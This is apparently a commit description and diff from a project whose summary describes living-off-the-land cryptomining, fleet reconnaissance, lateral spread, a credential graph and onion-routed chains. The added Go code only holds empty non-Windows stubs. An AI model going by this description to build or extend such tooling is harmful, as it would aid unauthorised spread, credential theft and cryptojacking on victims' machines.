Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/network_hints_cert_stub.go

@@ -0,0 +1,11 @@
+//go:build !windows
+
+package deploy
+
+func probeEnterpriseCodeSignCert() (present bool, subject string) {
+	return false, ""
+}
+
+func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
+	return nil, nil
+}